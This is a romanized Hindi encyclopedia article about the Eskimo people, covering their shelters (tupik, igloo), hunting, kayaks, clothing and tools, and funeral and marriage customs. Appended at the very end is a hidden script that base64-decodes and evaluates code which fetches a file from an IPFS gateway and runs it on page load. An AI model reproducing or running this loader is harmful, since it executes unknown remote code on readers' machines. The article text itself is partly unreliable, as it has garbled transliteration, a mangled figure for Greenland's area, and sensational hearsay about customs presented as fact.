एस्किमो जनजाति
thumb|250px|eskimo parivar eskimo (aangrezi: Eskimo) uttari amerika ke dhruviy chhor tatha isake pas ke dvipoan, grinalaiand ke tatiy bhagoan evan eshiya ke sudoor uttari-poorvi chhor ke nivasi haian. chooanki dharatal ke jis bhag par ye log rahate haian vahaan sadhan bahut hi simit hai. atah in logoan ka jivan poorn roop se shikar par nirbhar hota hai. jisake lie ye samudroan ki sharan lete haian. grinalaind ka vistar lagabhag 82,73000 varg mil hai. adhikaansh kshetroan mean eskimo ke jivan ka dhang mukhy roop se shvet logoan ke sampark ke karan parivartit ho gaya hai. phalasvaroop shvet logoan ke agneyastroan evan any aujaroan ki suvidha ke karan ye log bahut jaldi hi prastar yug se lauh yug mean pahuanch gaye haian. inaki poshakean evan bhojan parivartit ho gaye haian. yahi nahian, bimariyoan, madak padartho adi dvara inaki bahut hani huee hai aur ab to inaki shuddh jati bhi nahian bachi hai.
shikar evan sharan
aisi simit sanbhavanaoan vale kshetroan mean yahaan ke nivasiyoan ke sadhan jab kabhi bhi samapt hone lagate haian tab inhean ek sthan se doosare sthan ko ghoomate rahana p data hai, phalasvaroop apani suvidha ke lie eskimo bahut-si vastuean ikatthi nahian kar sakate. grishmakal mean eskimo cham de se bane tambuoan mean nivas karate haian jise 50- 60 sil machhaliyoan ke cham de ko ek sath silakar taiyar karate haian tatha khambhoan se bane dhaanche par phaila dete haian. ise tyoopik ka nam diya jata hai. shitakal mean eskimo tyoopik ko chho dakar aur bhi garm nivas banate haian jisaki divarean prastar ki chhatean choone ke patthar athava slet ki hota hai. isake oopar ghas-phoos bichha dete haian. isake oopar hi grishmakal mean prayukt hone vale cham de ke tamboo ko phaila dete haian. isake antarik bhag mean bhi sil ke cham de ko sil dete haian. is poore nivas ko ‘igloo’ kaha jata hai. barph se bane makan ‘iglooyak’ ko bahut tho de samay tak hi upayog karate haian.
grishmakal ke ate hi eskimo apane igaloo ki chhat ko khol dete haian aur punah tyoopik mean rahane lagate haian. grishmakal evan shitakal donoan rrituoan mean se log samudr ke kinare hi apane nivas banate haian kyoanki apane bhojan ka adhikaansh ye samudroan se hi prapt karate haian. ye apane nivas banate samay jal ki suvidha, tej thandi havaoan se suraksha adi ka dhyan rakhate haian. grishm evan shitakal mean gharoan ko garm rakhane ke lie mulayam sopaston se bani chhichhali katoriyoan mean samudri machhaliyoan ki charbi jalate haian.
bhojan
thumb|left|250px|eskimo ki basti dhruviy eskimo grishm evan shitakal donoan rrituoan mean saman roop se dharatal evan samudr mean shikar karate haian. shikar ki saphalata par hi inaka jivan nirbhar karata hai. kuchh bhojan ubalakar pakate haian, jabaki adhikaansh kachcha hi khaya jata hai. samudr se ye log sil, vaularas, naraval evan belooja machhaliyoan ka shikar karat hai. inase n keval maans hi varanh charbi tatha cham da bhi prapt karate haian. dharatal par shikar dvara kaurivae evan chi diyaan prapt karate haian. khule sagar mean shikar ke lie ‘kayak’ ka upayog karate haian jo ki lak di ke dhaanche par cham de se dhanka hone ke karan jal dvara surakshit rahata hai. is kayak dvara ye log valaras evan any samudri jivoan ka shikar karate haian.
vastr evan aujar
eskimo ke vastr cham de se banate haian. sooee evan tage bhi machhaliyoan ke cham de evan unakar haddiyoan se banate haian. cham de taiyar karane ka kary striyaan karati haian. purushoan evan striyoan donoan ke vastr ek saman hote haian jinaka uddeshy sharir ki thand se suraksha hai n ki dikhava. isi prakar inake hathiyar bhi pashuoan ki haddiyoan tatha cham de se hi banate haian. inake tir evan dhanush haddiyoan evan cham de se hi banaye jate haian. kuttoan ko haankane ke lie ko de tatha saman dhone vali slej mean bhi cham de evan haddiyoan ka hi upayog hota hai.
punarjanm mean vishvas
thumb|250px|eskimo ka pravas eskimo ki jiandagi bahut hi ajib alag hai. isi tarah inaki sanskriti bhi bahut alag hai. eskimo ke bich unaka n to koee neta hota hai aur n hi koee pramukh. kahate haian ki inake samaj mean sabhi ko saman adhikar hota hai. parushoan ke sath mahila bhi kabhi kabhi shikar par jati haian magar unaka pramukh kary grihasthi hota hai. mana jata hai ki yah log bahut hi alag tarah ke rivajoan ko apanate haian. aisa kaha jata hai ki inake samudae mean jab koee vyakti mar jata hai, to usaka sharir khule asaman mean rakha jata hai taki atma apana rasta pa sake. vahian agar koee vyakti bimari ki vajah se marata hai, to usake sharir ke tuk de kar alag alag hissoan mean pheank die jate haian. eshiyaee eskimo apane mritakoan ko jalate haian jabaki grinalaiand ke eskimo apane mritakoan ke sharir ko samudr mean tairane ke lie le jate haian.
vahian doosari or alaska ke eskimo apane mritakoan ko daphanate haian aur phir kabr ko pattharoan se dhak dete haian. in sabhi samudayoan ke rivaz ek doosare se kaphi alag hote haian. aisa bhi mana jata hai ki eskimo punarjanm mean vishvas karate haian. isalie eskimo ke parivar mean jab koee boodha vyakti bimar p data hai aur vo maut ke karib hota hai, to usako samudr mean barph ki silli par letakar taira diya jata hai. dharanaoan ki mane, to eskimo bachchoan ko apane poorvaj ka punarjanm manate haian. isalie yah bachchoan ka kaphi khyal rakhate haian. kahate haian ki eskimo aur prachin eejipt ke logoan mean kuchh chijean saman thian, jaise- yah donoan hi samuday mean agar koee marata tha, to usake sath usaki kuchh chijoan ko bhi daphana diya jata tha. eskimo ke vivah ke niyamoan ki bat karean, to vo bhi ajibogarib haian. yahaan par bal vivah ka prachalan tha. isake sath hi talak bhi anaupacharik tha. jab ji chahe mahila ya purush ek doosare se alag ho sakate the.
eskimo ki jiandagi par nazar dalean, to inaki jiandagi bahut hi kathin hai. har ek chhoti chij ke lie bhi inhean sangharsh karana p data hai. halaanki isake bavajood bhi yah saloan se aise hi rahate a rahe haian. aj ne jamane mean inaki jiandagi tho di bahut to asan ho gee hai magar aj bhi yah barph mean apana kathinaiyoan bhara jivan jina hi pasand karate haian.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>